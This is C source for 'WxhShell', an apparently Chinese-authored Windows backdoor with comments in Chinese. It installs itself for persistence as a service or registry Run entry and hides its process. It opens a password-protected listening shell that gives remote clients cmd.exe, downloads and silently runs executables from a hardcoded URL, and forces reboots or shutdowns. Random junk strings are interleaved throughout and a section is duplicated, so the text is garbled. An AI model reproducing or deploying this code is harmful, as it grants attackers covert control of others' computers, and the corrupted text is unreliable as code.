ZL2p> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c"!lwm3b NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 09o~9z0 }IEbyb if (!NtQueryInformationProcess) return 0; aCV4AyG L!_ZY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >+5?F*`\D* if(!hProcess) return 0; v+"rZ /J)l /oI if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jw~( G9G rwIeqV{: CloseHandle(hProcess); i*R,QN) 80M;4nH^5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R_sC! - if(hProcess==NULL) return 0;
kj5Q\vr)
_if|TFw;h HMODULE hMod; |lH;Fq{\ char procName[255]; j'i0*"x unsigned long cbNeeded; :Sg_tOf p
(FlR?= S if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k#bu#YZk JN6-Z2 CloseHandle(hProcess); bN^O}[ ENh!N4vbO if(strstr(procName,"services")) return 1; // 以服务启动 @xsCXCRWVV ~](fFa{ return 0; // 注册表启动 OPBt$Ki } UueD(T;p z=&z_}M8 // 主模块 0:KE@= int StartWxhshell(LPSTR lpCmdLine) e$c?}3E!z { (SVWdgb SOCKET wsl; ECa$vvK
m BOOL val=TRUE; 9s
+z B int port=0; hgRVwX struct sockaddr_in door; vFrt|JC_{ acd:r%y if(wscfg.ws_autoins) Install(); :"0J=>PH: b{DiM098 port=atoi(lpCmdLine); PCc|}*b /\mKY%kyh if(port<=0) port=wscfg.ws_port; zT~B6 (wRBd WSADATA data; =\ )IaZ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /W#O + b4Y8N"hL% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RnfXN)+P setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +kdySWF door.sin_family = AF_INET; mxSKG>
O door.sin_addr.s_addr = inet_addr("127.0.0.1"); "HM{b?N door.sin_port = htons(port); OEr:xK2T Q4s&E\} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =R*Gk4<Y closesocket(wsl); v;y0jD#b return 1; xa( m5P } V@=V5bZLs %,b X/! if(listen(wsl,2) == INVALID_SOCKET) { &Y@#g9G closesocket(wsl); 3HyhEVR-#~ return 1; M4Z@O3OIE } !}3,B28 Wxhshell(wsl); P];JKE% WSACleanup(); 151tXSzLT "fQRk return 0; C-P06Q] c.H?4j7ga } PBks`
|+ e`{0d{Nd // 以NT服务方式启动 |P6EO22p VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I.}1JJF* { _baYn`tFw- DWORD status = 0; z}}]jR\y? DWORD specificError = 0xfffffff; ]Gc3Ea;4 g(0;[#@ serviceStatus.dwServiceType = SERVICE_WIN32; ,$r2gr!_G serviceStatus.dwCurrentState = SERVICE_START_PENDING; X_; *`,<T serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B'>*[!A serviceStatus.dwWin32ExitCode = 0; dw@E) serviceStatus.dwServiceSpecificExitCode = 0; ]8 U ~Iy serviceStatus.dwCheckPoint = 0; ]0c Pml serviceStatus.dwWaitHint = 0; IKvBf'%- z)F#u:t hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `NwdbKX if (hServiceStatusHandle==0) return; juToO (U.**9b; status = GetLastError(); Tc
ZnmN if (status!=NO_ERROR) w'Z!;4E0 { )&W|QH=AI serviceStatus.dwCurrentState = SERVICE_STOPPED; ^>~dlS serviceStatus.dwCheckPoint = 0; !^U6Z@&/R serviceStatus.dwWaitHint = 0; {j(4m serviceStatus.dwWin32ExitCode = status; >3;^l/2c serviceStatus.dwServiceSpecificExitCode = specificError; ](r
^.k,R SetServiceStatus(hServiceStatusHandle, &serviceStatus); OsW"CF2 return; HOYq?40.R } 5!fSW2N ^6 /j_G serviceStatus.dwCurrentState = SERVICE_RUNNING; "2n;3ByR serviceStatus.dwCheckPoint = 0; L9IGK< serviceStatus.dwWaitHint = 0; ]S8LY.Az5 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n~z\?Y=* } G=M] 8+h 4 9w=kzo // 处理NT服务事件,比如:启动、停止 >?XbU} VOID WINAPI NTServiceHandler(DWORD fdwControl) F 1|zXg) { d5xxb _oE switch(fdwControl) _[E \= { xi {| case SERVICE_CONTROL_STOP: }F{=#Kqn^ serviceStatus.dwWin32ExitCode = 0; O OlTrLL serviceStatus.dwCurrentState = SERVICE_STOPPED; +!&$SNLh( serviceStatus.dwCheckPoint = 0; :B#EqeI serviceStatus.dwWaitHint = 0; y~#\#w{ { ZW ye>] SetServiceStatus(hServiceStatusHandle, &serviceStatus); t/:w1rw } O4+F^+qN return; Rlg#z4m case SERVICE_CONTROL_PAUSE: P!+v:'P5f serviceStatus.dwCurrentState = SERVICE_PAUSED; okBE|g break; gn5% F5W case SERVICE_CONTROL_CONTINUE: oW'POAr serviceStatus.dwCurrentState = SERVICE_RUNNING; {*=E?oF@ break; X7cWgo66T case SERVICE_CONTROL_INTERROGATE: *8!w&ME+. break; A|vP$zy }; _%IqjJO{=r SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2:J,2=% } KVijs1q hYvNcOSks // 标准应用程序主函数 wkT;a&_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J9@}DB { 5gNLO\ !P|5#.eC // 获取操作系统版本 IhW7^(p\ OsIsNt=GetOsVer(); L~MpY{!3 GetModuleFileName(NULL,ExeFile,MAX_PATH); Qyj(L[K J .w'vD/q; // 从命令行安装 R`He^ if(strpbrk(lpCmdLine,"iI")) Install(); _@prmSc R<&FhT] // 下载执行文件 $Xt;A&l2? if(wscfg.ws_downexe) { A^pW]r=Xtk if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W(k:Pl# WinExec(wscfg.ws_filenam,SW_HIDE); UD*+"~ } ]V<"(?,K :o\5K2]: if(!OsIsNt) { B
T7Id // 如果时win9x,隐藏进程并且设置为注册表启动 +Jw{qQR/* HideProc(); i| xt f StartWxhshell(lpCmdLine); P0#`anUr1 } ;QidDi_s> else $r"A@69^RS if(StartFromService()) ]18Ucf // 以服务方式启动 I q,v StartServiceCtrlDispatcher(DispatchTable); uYTCd ZQh else ~PYFYjHC // 普通方式启动 F"BL#g66 StartWxhshell(lpCmdLine); :`zV
[A:D G^KC&
return 0; @^wpAQfd4 } ('BLU.7IX ,I39&;Iq G7Ny"{Z [aNhP;< =========================================== ~u2w`H?V n!?r } n8 6PJ'lA;*b ('HxHOh2 t&pGQ 66dTs,C " ;Id"n7W I7b i@t #include <stdio.h> 7sguGwg) _ #include <string.h> ^f0(aYWx #include <windows.h> 86{ZFtv #include <winsock2.h> ~>w:;M=sV8 #include <winsvc.h> 96)v#B?p #include <urlmon.h> >t,O2~ /#IH-2N #pragma comment (lib, "Ws2_32.lib") kd`YSkZ #pragma comment (lib, "urlmon.lib") Loc8eToZ w06gY #define MAX_USER 100 // 最大客户端连接数 FoLDMx( #define BUF_SOCK 200 // sock buffer '8={ sMy #define KEY_BUFF 255 // 输入 buffer Fva]*5 &[)D]UL #define REBOOT 0 // 重启 PHl4 vh#E! #define SHUTDOWN 1 // 关机 uH]
m]t XC}1_VWs #define DEF_PORT 5000 // 监听端口 :3gFHBFDj w<mqe0 #define REG_LEN 16 // 注册表键长度 VwC4QK,d; #define SVC_LEN 80 // NT服务名长度 /'"R Mq 6>lW5U^yA\ // 从dll定义API ebD{ pc`& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %\l0-RA@< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iW-t}}Z>B typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y)v% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hq-v@@0 * i2U/RXu // wxhshell配置信息 hvL6zCi struct WSCFG { `{WCrw6) int ws_port; // 监听端口 1V\1]J/ char ws_passstr[REG_LEN]; // 口令 YOlH*cZtg int ws_autoins; // 安装标记, 1=yes 0=no klo^K9! char ws_regname[REG_LEN]; // 注册表键名 YiO3<}Uf char ws_svcname[REG_LEN]; // 服务名 U#$:\fT char ws_svcdisp[SVC_LEN]; // 服务显示名 P8u"T!G char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?qIGQ/af& char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H<{*ub4'L* int ws_downexe; // 下载执行标记, 1=yes 0=no @@; 1%z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S~} +ypV char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xNx`J@xt$ qWkx:-g] }; W -3w7^ o=@ UXi // default Wxhshell configuration Hj1k-Bs&'w struct WSCFG wscfg={DEF_PORT, W >Kp\tD "xuhuanlingzhe", !Am
=v=> 1, nT)~w
s "Wxhshell", BHIM'24bp "Wxhshell", 8@Q"YA3d+ "WxhShell Service", 7V |"~% "Wrsky Windows CmdShell Service", ?SB5b , "Please Input Your Password: ", np= J:v4 1, %"{?[!C ? "http://www.wrsky.com/wxhshell.exe", VJGwd`qo*A "Wxhshell.exe" mxZ4
HD{ }; J (=4 &4[<F"W>47 // 消息定义模块 `c> A>c| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Aw5K3@Ltz char *msg_ws_prompt="\n\r? for help\n\r#>"; QZz&1n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nWd:>Ur char *msg_ws_ext="\n\rExit."; "NlRSc# char *msg_ws_end="\n\rQuit."; miWw6!() char *msg_ws_boot="\n\rReboot..."; f)qPFM]%z char *msg_ws_poff="\n\rShutdown..."; zabw!@] char *msg_ws_down="\n\rSave to "; %jpH:-8'2 %OTQRe: char *msg_ws_err="\n\rErr!"; yM W'-\ char *msg_ws_ok="\n\rOK!"; =:kiSrBS3t *:k~g].Iz char ExeFile[MAX_PATH]; zCyR<as7 int nUser = 0; vxF:vI# @ HANDLE handles[MAX_USER]; kK08W3@&t int OsIsNt; bW}b<(y ya;@<b SERVICE_STATUS serviceStatus; `AB~YX%( SERVICE_STATUS_HANDLE hServiceStatusHandle; 6Uch0xha! 3{I=.mUUm // 函数声明 wrhBH;3 int Install(void); &`-_)~5] int Uninstall(void); #vnefIcBf int DownloadFile(char *sURL, SOCKET wsh); <d3PDO@w/ int Boot(int flag); 4,o
%e,z void HideProc(void); ~D$#>'C# int GetOsVer(void); ZE{aS4c int Wxhshell(SOCKET wsl); dVij <! Lu void TalkWithClient(void *cs); LNWqgIq int CmdShell(SOCKET sock); {H/8#y4qp& int StartFromService(void); V}j%gy` int StartWxhshell(LPSTR lpCmdLine); NU BpIx& 5+o
2 T] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VZAuUw+M VOID WINAPI NTServiceHandler( DWORD fdwControl ); W`
WLW8Qsw &E} I // 数据结构和表定义 Ka[Sm|-q SERVICE_TABLE_ENTRY DispatchTable[] = 0-6:AHix { SjFF=ib {wscfg.ws_svcname, NTServiceMain}, qQwJJjf {NULL, NULL} -9hp+0 < }; 7uWJ6Wk -Y5YCY!` // 自我安装 d<e+__2 int Install(void) {Q}!NkF1 { "FD<^
char svExeFile[MAX_PATH]; _Ac/i r[,: HKEY key; WK/b=p|#o strcpy(svExeFile,ExeFile);
zZS>+O GGYX!=]~ // 如果是win9x系统,修改注册表设为自启动 r3*+8D~a_ if(!OsIsNt) { $w 5#2Za if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0[_O+u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9/@FADh RegCloseKey(key); ~Rx~g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BYhmJC| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !y[}| RegCloseKey(key); T)$6H}[c return 0; Z1XUYe62 } R !:eYoQ } OqAh4qa,$ } m70`{-O else { @]?? +f}# :mCw.Jz<h // 如果是NT以上系统,安装为系统服务 LZ=wz.'u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <(u3+`f1s if (schSCManager!=0) G_4K+
-K { #"3[f@|e SC_HANDLE schService = CreateService lq7 8gOg{ ( Fjb4BdZP schSCManager, IN]`lJ wscfg.ws_svcname, (:</R$I wscfg.ws_svcdisp, Y3 Pz00x SERVICE_ALL_ACCESS, :pL1F)-* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r_qncy,F SERVICE_AUTO_START, ^=4I|+P,6. SERVICE_ERROR_NORMAL, {ziYd;Ys1 svExeFile, =rf)yp-D NULL, WcV\kemf NULL, wsdB;
6%$ NULL, '7RR2f>V NULL, -+j9X;h: NULL DjevX7Q ); /r::68_KQP if (schService!=0) sK"" { 'PmHBQvt& CloseServiceHandle(schService); i{1)=_$Vt` CloseServiceHandle(schSCManager); bv:0EdVr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n',9#I(!L strcat(svExeFile,wscfg.ws_svcname); jWO&SW so if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )D6'k{6 M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sp=7Kh?|> RegCloseKey(key); +Tgy,oD0 return 0; F1{?]>G } Mdy0!{d } S?,KgMVM CloseServiceHandle(schSCManager); B^_$
hJncc } A$H+4L } gavQb3EP p3,(*eZ return 1; di)noQXkB- } L:k@BCQM 7>W+Uq // 自我卸载 9}'l=b:Jms int Uninstall(void) O|^6UH { 4X(1 HKEY key; 'aSZ!R @vQ;>4 i. if(!OsIsNt) { wt_?B_nR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZPxOds1m RegDeleteValue(key,wscfg.ws_regname); 1A)wbH) RegCloseKey(key); kcma/d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
WL]Wu.k RegDeleteValue(key,wscfg.ws_regname); )M|O;~q RegCloseKey(key); $z`cMQ r return 0; fed[^wW } `0n 7Cyed } b& _i/n( } ~PH1|h6 else { E:dT_x<Y #Kb)>gzT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I2Or&
_ if (schSCManager!=0) $fj"* { Hjo:;s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RJ`/qXL if (schService!=0) ]ukj]m/@ { 7y)|^4X2 if(DeleteService(schService)!=0) { :`Zl\!]E`o CloseServiceHandle(schService); $+)x)1 CloseServiceHandle(schSCManager); am$-sh72 return 0; =`7)X\i@z } nfd?@34"A2 CloseServiceHandle(schService); !kHyLEV } }~Kyw7? CloseServiceHandle(schSCManager); =vqE=:X6 } &s6(3k } ?SsRN jeL S*DBY~pZy return 1; [<3Q$*Ew } EiIFVP Sj]T{3mi // 从指定url下载文件 t6,M int DownloadFile(char *sURL, SOCKET wsh) m;tY(kO { |]]pHC_/W HRESULT hr; At^DY!3vx char seps[]= "/"; NGb!7Mu9 char *token; S#%JSQo: char *file; pFv[z':&Q char myURL[MAX_PATH]; >/OXC+=^4 char myFILE[MAX_PATH]; Ph7(JV{
U%B]N@ strcpy(myURL,sURL); C}DG'z9 token=strtok(myURL,seps); v,x%^gv 0 while(token!=NULL) ~M9n<kmE { \SH D file=token; KSpC%_LC token=strtok(NULL,seps); :0TSOT9. } 3K'o&>}L me}Gb a GetCurrentDirectory(MAX_PATH,myFILE); C{I8Pio{b strcat(myFILE, "\\"); c_8 mQ strcat(myFILE, file); ;HLMU36q send(wsh,myFILE,strlen(myFILE),0); <J_,9&\J send(wsh,"...",3,0); 77=y!SDP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C6=;(=?C if(hr==S_OK) 'm p{O return 0; XtH_+W+O else +/_B/[e<> return 1; z&HN>7 Zn*CJNB } $nd-[xV ~PS2[5yo // 系统电源模块 TXvt0&- int Boot(int flag) ^>R| R1& { Drq{)#7 HANDLE hToken; .1? i'8TF TOKEN_PRIVILEGES tkp; : z,vJ~PW Jv{"R!e"P if(OsIsNt) { 0f#a_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]zR;%p LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XGup,7e9 tkp.PrivilegeCount = 1; ,;ruH^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BO\`m%8md AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OaCj3d> if(flag==REBOOT) { DSG +TA" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4;~lpty return 0; 2.L6]^N p( } dgqJ=+z 0y else { ^9V8 M9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e!x-:F#4j return 0; 6_}){ZR } _R<V8g1f } uc (yos else { \S@=zII_ if(flag==REBOOT) { Z$=$oJzB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MUt^mu$86 return 0; eq 1 4 } t:j07 ,1~ else { 6%hEs6-R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [,?A$Z*Z| return 0; f+88R=-u6S } .$s|T } k-PRV8WO PNxO\Rc return 1; %<*pM@ } E$yf2Q~k JP% ;rAoJ // win9x进程隐藏模块 )*<d1$aM void HideProc(void)
g8qAJ4 { ]=XL9MI @_:?N(%( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v&/-&(+ if ( hKernel != NULL ) zSvHv s { m_ONsZHy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jE5
9h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fu$Gl$qV?% FreeLibrary(hKernel); ]` Gz_e } QR"O)lP n_NG~/x return; )^@V*$D } ]be2jQx3 \c^jaK5 // 获取操作系统版本 73Zs/ int GetOsVer(void) GN"LU>9| { GQAg
ex)D OSVERSIONINFO winfo; ^|12~d_.T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M]zNW{Xt GetVersionEx(&winfo); qf&{O:,Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8[P6c;\ return 1; l8Iy03H else 7(iRz return 0; ~5qZs"ks } f6A['<%o F"? *@L // 客户端句柄模块 ?BZ`mrH^ int Wxhshell(SOCKET wsl) ?U[nYp}"v { $W]guG SOCKET wsh; 48*pKbbM4 struct sockaddr_in client; QL!+.y% DWORD myID; ;xC~{O 4!W?z2ly~R while(nUser<MAX_USER) t-m,~Io W { bH]!~[ int nSize=sizeof(client); @MH]s [{o\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z 2jMBe if(wsh==INVALID_SOCKET) return 1; -.3k
vL exU=!3Ji handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XQ y|t"Vq> if(handles[nUser]==0) *G"#.YvE closesocket(wsh); Y-k~ 7{7 else MM$"6Jor nUser++; 0s[3:bZ\Ia } qCT\rZU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _( /lBf{| gxtbu$ return 0; $ =a$z" } +W[#;)ea( :u+#:8u // 关闭 socket <G =@Gl void CloseIt(SOCKET wsh) 9uoj3Rh< { B>21A9& closesocket(wsh); 5!fW&OiY nUser--; vyy\^nL ExitThread(0); ITPpT } JNCtsfd w:(7fu= // 客户端请求句柄 ExU|EN- void TalkWithClient(void *cs) ``CADiM:S { vK~KeZ\,p= 4?uG> ;V SOCKET wsh=(SOCKET)cs; UwT$IKR char pwd[SVC_LEN]; [`dipLkr char cmd[KEY_BUFF]; _qNLy/AY char chr[1]; '0rwNEg int i,j; -{mq\GvGn nit7|T@^ while (nUser < MAX_USER) { +>({pHZ<S |.W;vc < if(wscfg.ws_passstr) { l[{}ZKZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bncFrzp#o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ="E
V@H?U //ZeroMemory(pwd,KEY_BUFF); K<(sqH i=0; 1<e%)? G while(i<SVC_LEN) { >7Q7H#~w > PA,72e // 设置超时 6VE5C
g fd_set FdRead; h(up1(x struct timeval TimeOut; >?FCv7qN FD_ZERO(&FdRead); 8 z7,W3b FD_SET(wsh,&FdRead); P$(}}@ TimeOut.tv_sec=8; {627*6, TimeOut.tv_usec=0; z9w.=[Io int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xK 'IsMo[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5aQg^f%\ yt,;^o^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W}3vY] pwd=chr[0]; feHAZ.8rp+ if(chr[0]==0xd || chr[0]==0xa) { *&MkkI# pwd=0; LRs;>O break; >*CK@"o } L@GD$F=<0 i++; ^2@~AD`&h } (Ad!hyE( o|C{ s // 如果是非法用户,关闭 socket ;wB3H if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T0jJp7O } ! .}{
f;Ls kJFHUR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +2O_LPV$, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Bb/GXn{\ LXl! !i% while(1) { yK3z3"1M? EV$n>. ZeroMemory(cmd,KEY_BUFF); "KwKO8f GrC")Z|3u // 自动支持客户端 telnet标准 Y.#+Yh[ j=0; *h6i9V%' while(j<KEY_BUFF) { 1A`";E& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (0f^Hh wF cmd[j]=chr[0]; iq-o$6Pg if(chr[0]==0xa || chr[0]==0xd) { s6uAF(4, cmd[j]=0; t68RWzqiG[ break; TaG-^bX8B } HskN(Ho j++; \>k+Oyj } 7i/Cax c
@R6p+ // 下载文件 Fwqf4&/ if(strstr(cmd,"http://")) { 9f`Pi:*+/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); yjzNU5F if(DownloadFile(cmd,wsh)) Xi.?9J`@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2O/_hv. else 3s2M$3r)6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,pzCJ@5 } g!ww;_ else { T:$_1I $ 67?5Cv switch(cmd[0]) { G]CY3xw98 H;1}Nvvd // 帮助 ;\N*iN#K case '?': { $EF@x}h:A send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !4:,,!T break; oDa{HP\O]W } TZg7BLfy // 安装 _!7o case 'i': { |sz9l/,lG if(Install()) ): 6d_g{2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .>n|#XK else bE~lc}% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k7*q.2 0 break; @AOiZOH } QL#y)G53Q // 卸载 cx}-tj"m- case 'r': { k9n93I|Cm if(Uninstall()) *bEsWeP send(wsh,msg_ws_err,strlen(msg_ws_err),0); pyKag;ZtP else ,e2va7}3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,H*3_c&Q break; #ZA
YP } M %~kh" // 显示 wxhshell 所在路径 Hik[pVK@ case 'p': { 9&cZIP char svExeFile[MAX_PATH]; [@6iStRg7 strcpy(svExeFile,"\n\r"); j$6}r strcat(svExeFile,ExeFile); e^ yB9b send(wsh,svExeFile,strlen(svExeFile),0); jxvVp*-=<j break; nP^$p C } ?}[keSEh> // 重启 VM[8w` case 'b': { @d\F; o< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); il~,y8WTU{ if(Boot(REBOOT)) jPfoI- send(wsh,msg_ws_err,strlen(msg_ws_err),0); $$a"A(Y else { tF|bxXsZ closesocket(wsh); (&(f`c@I ExitThread(0);
<T).+
M/ } P*>V6SK>b break; ioggD } !_@%/I6 // 关机 #82B`y<<y/ case 'd': { hlRE\YO&8R send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y{KJk'xN5W if(Boot(SHUTDOWN)) -MjRFa send(wsh,msg_ws_err,strlen(msg_ws_err),0); /03>|Juo else { \
(,2^T'$J closesocket(wsh); .
fIodk ExitThread(0); H|Ems}b } ]l%j>Vb!L break; {F j`'0Xu; } G;e}z&6<k // 获取shell SpgVsz case 's': { cnR>)9sX CmdShell(wsh); 5 F-Q& closesocket(wsh); T1E{NgK ExitThread(0); L" o6)N break; nV,a|V5Xm } EO5Vg // 退出 6XP>p$- case 'x': { pPE4~g 05h send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5M*p1^ > CloseIt(wsh); R`c5-0A break; zSu2B6YU} } Xy._&&pt // 离开 J8jbtL O' case 'q': { g0l- n send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9;PtYdJ8 closesocket(wsh); xRfX:3 WSACleanup(); _/Hu'9432 exit(1); -a3C3!! break; N$?q Aek } IoC,\$s, } [K5afnq` } B-RaAiE@ >(3y(1; // 提示信息 e*tOXXY1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r<U }lK } MStaP;| } ek9%Xk8 e.N#+ return; BsJClKp/ } uZfo[_g0S j0J6ySlY // shell模块句柄 %n^]1R# int CmdShell(SOCKET sock) #r\uh\Cy { =#W6+=YN8 STARTUPINFO si; v"j7},P@ ZeroMemory(&si,sizeof(si)); L(.5:&Y=` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k20tn
ew si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |K]tJi4fz PROCESS_INFORMATION ProcessInfo; $3So`8Bm[$ char cmdline[]="cmd"; ^Kn}{m/3Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hQ9VcS6=gD return 0; j:0z/gHp$ } `sSI; + k]Yd4CC2 // 自身启动模式 E11"uWk` int StartFromService(void) CGQ`i { ;*8$BuD typedef struct i]P]o) { Na4\)({ DWORD ExitStatus; 0VPa=AW DWORD PebBaseAddress; d2pVO]l YZ DWORD AffinityMask; ZPXxrmq% DWORD BasePriority; s\@!J.Da ULONG UniqueProcessId; hUqIjc uL4 ULONG InheritedFromUniqueProcessId; 5( 3tPbm{ } PROCESS_BASIC_INFORMATION; GE|V^_|i vV%w#ULxE~ PROCNTQSIP NtQueryInformationProcess; G3q\Z`|3h u
BvN*LQ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'h$1vT static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T5ol2 :p89J\ HANDLE hProcess; _f/6bpv PROCESS_BASIC_INFORMATION pbi; biQDupTz D_g+O"];P HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]`LMyt0 if(NULL == hInst ) return 0; .RdnJ&K* zMtx>VI g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LKhUqW g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BV|LRB}G NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LBTf}T\ 'Je;3"@ if (!NtQueryInformationProcess) return 0; BPW2WSm@< Wh,p$|vL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `rvS(p[s if(!hProcess) return 0; {q:6;yzxl HUZI7rC[=) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^]K_k7`I ,#nyEE CloseHandle(hProcess); 5-*/wKjLz Vf0m7BJc3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @PutUYz if(hProcess==NULL) return 0; <d8Yk>R i6aM}p< HMODULE hMod; F.4xi+S_ char procName[255]; C-&\qAo?<: unsigned long cbNeeded; i!(u4wTFF Tv!zqx#E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P9BShC5 